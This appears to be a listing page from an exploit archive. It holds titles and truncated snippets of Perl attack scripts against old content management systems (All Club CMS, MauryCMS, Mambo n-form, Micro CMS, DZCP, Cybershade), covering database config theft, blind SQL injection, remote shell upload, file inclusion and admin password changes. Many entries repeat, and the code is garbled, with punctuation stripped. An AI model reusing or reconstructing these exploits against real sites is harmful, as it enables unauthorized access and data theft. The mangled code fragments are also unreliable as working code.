All Club CMS <= 0.0.2 Remote DB Config Retrieve Exploit

Exploit for unknown platform in category web applications ======================================================= All Club CMS 'Lynx textmode', timeout = 5, or die $!; my $send = $http-get"http://$host/$path/accms.dat"; if$send-issuccess print STDOUT $send-content; exit; else print STDERR...

Clean CMS 1.5 (full_txt.php id) Blind SQL Injection Exploit

No description provided by source. Clean CMS 1.5 fulltxt.php id Blind SQL Injection Exploit url: http://www.4yoursite.nl/scriptcleancms.php Author: JosS mail: sys-projectathotmaildotcom site: http://hack0wn.com && spanish-hackers.com team: Spanish Hackers Team - SHT This was written for education...

cleancms-blindsql.txt

Clean CMS 1.5 fulltxt.php id Blind SQL Injection Exploit url: http://www.4yoursite.nl/scriptcleancms.php Author: JosS mail: sys-projectathotmaildotcom site: http://hack0wn.com && spanish-hackers.com team: Spanish Hackers Team - SHT This was written for educational purpose. Use it at your own risk...

MauryCMS &lt;= 0.53.2 Remote Shell Upload Exploit

No description provided by source. !/usr/bin/perl =about MauryCMS = 0.53.2 Remote Shell Upload Exploit ---------------------------------------------- by athos - stakerathotmaildotit download on http://cms.maury91.org thnx Osirys =cut use strict; use warnings; use LWP::UserAgent; my...

MauryCMS <= 0.53.2 Remote Shell Upload Exploit

Exploit for unknown platform in category web applications ============================================== MauryCMS ; foreach@read $shell .= $; closeFILE; &usage if $host ! /http://.+?$/i && $file ! /a-zA-Z/i; my @path = split ///,substr$host,7; $http = new LWP::UserAgent agent = "Mozilla/4.5 en...

maurycms-upload.txt

!/usr/bin/perl =about MauryCMS ; foreach@read $shell .= $; closeFILE; &usage if $host ! /http://.+?$/i && $file ! /a-zA-Z/i; my @path = split ///,substr$host,7; $http = new LWP::UserAgent agent = "Mozilla/4.5 en Win95; U", ; @auth = split':',getcookies; ifnot defined$path1 $user = qqnick=$auth1;...

SlimCMS <= 1.0.0 (edit.php) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== SlimCMS 2 114. $query = "UPDATE pages SET title = '".$POST'pageTitle'."', content = '". striptagsstripslashes$POST'cmsText',$allowedTags."' WHERE ID = ".$GET'pageID'; 115...

mambonform-sql.txt

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 system"Title Kosova Hackers Group by boom3rang"; print " \n"; print " \n"; print " Mambo Component n-formformid Blind SQL Injection Exploit \n"; print " -----------------------------------------------------------\n"; print " Author:...

Mambo Component n-form (form_id) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 system"Title Kosova Hackers Group by boom3rang"; print " \n"; print " \n"; print " Mambo Component n-formformid Blind SQL Injection Exploit \n"; print "...

Mambo Component n-form - form_id Blind SQL Injection

Mambo Component n-form - formid Blind SQL Injection !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 system"Title Kosova Hackers Group by boom3rang"; print " \n"; print " \n"; print " Mambo Component n-formformid Blind SQL Injection Exploit \n"; print "...

Mambo Component n-form (form_id) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================ Mambo Component n-form formid Blind SQL Injection Exploit ============================================================ !/usr/bin/perl use LWP::UserAgent; use Getopt::Long;...

microcms-modify.txt

!/usr/bin/perl -------------------------------------------------------------- Micro CMS ; ifdefined $admin print STDOUT deladmin$admin; exit; else print STDOUT "+ Not Defined!\n"; exit; if$tell = /change/i print STDOUT "+ Admin ID : "; chomp$admin = ; print STDOUT "+ New Password: "; chomp$passwd...

DZCP (deV!L_z Clanportal) 1.4.9.6 - Blind SQL Injection

use HTTP::Cookies; use LWP::UserAgent; my $ua = LWP::UserAgent-new cookiejar = HTTP::Cookies-new,; $ua-agent 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' ; usage; print "\n"; $server = $ARGV0; $dir = $ARGV1; $username = $ARGV2; $password = $ARGV3; if !$password die "Argh! Read teh Usage!\n"; $url...

deV!Lz Clanportal [DZCP] &lt;= 1.4.9.6 Blind SQL Injection Exploit

No description provided by source. use HTTP::Cookies; use LWP::UserAgent; my $ua = LWP::UserAgent-new cookiejar = HTTP::Cookies-new,; $ua-agent 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' ; usage; print "\n"; $server = $ARGV0; $dir = $ARGV1; $username = $ARGV2; $password = $ARGV3; if !$password...

DZCP (deV!L_z Clanportal) 1.4.9.6 - Blind SQL Injection

DZCP deV!Lz Clanportal 1.4.9.6 - Blind SQL Injection use HTTP::Cookies; use LWP::UserAgent; my $ua = LWP::UserAgent-new cookiejar = HTTP::Cookies-new,; $ua-agent 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' ; usage; print "\n"; $server = $ARGV0; $dir = $ARGV1; $username = $ARGV2; $password =...

Micro CMS 0.3.5 - Remote Add/Delete/Password Change

!/usr/bin/perl -------------------------------------------------------------- Micro CMS ; ifdefined $admin print STDOUT deladmin$admin; exit; else print STDOUT "+ Not Defined!\n"; exit; if$tell = /change/i print STDOUT "+ Admin ID : "; chomp$admin = ; print STDOUT "+ New Password: "; chomp$passwd...

Micro CMS <= 0.3.5 Remote (Add/Delete/Password Change) Exploit

Exploit for unknown platform in category web applications ============================================================== Micro CMS ; ifdefined $admin print STDOUT deladmin$admin; exit; else print STDOUT "+ Not Defined!\n"; exit; if$tell = /change/i print STDOUT "+ Admin ID : "; chomp$admin = ;...

Micro CMS 0.3.5 - Remote AddDeletePassword Change

Micro CMS 0.3.5 - Remote AddDeletePassword Change !/usr/bin/perl -------------------------------------------------------------- Micro CMS ; ifdefined $admin print STDOUT deladmin$admin; exit; else print STDOUT "+ Not Defined!\n"; exit; if$tell = /change/i print STDOUT "+ Admin ID : "; chomp$admin...

Cybershade CMS 0.2b Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ======================================================= Cybershade CMS 0.2b Remote File Inclusion Vulnerability ======================================================= !/usr/bin/perl Cybershade CMS 0.2b index.php RFI shellcmdc99 Exploit ur...

mambosb-upload.txt

!/usr/bin/perl use warnings; use strict; use LWP::UserAgent; use HTTP::Request::Common; my $fname = rand99999 . ".php"; no int print ; print "\nEnter File Pathpath to local file to upload: "; chompmy $file=; my $ua = LWP::UserAgent-new; my $re = $ua-requestPOST...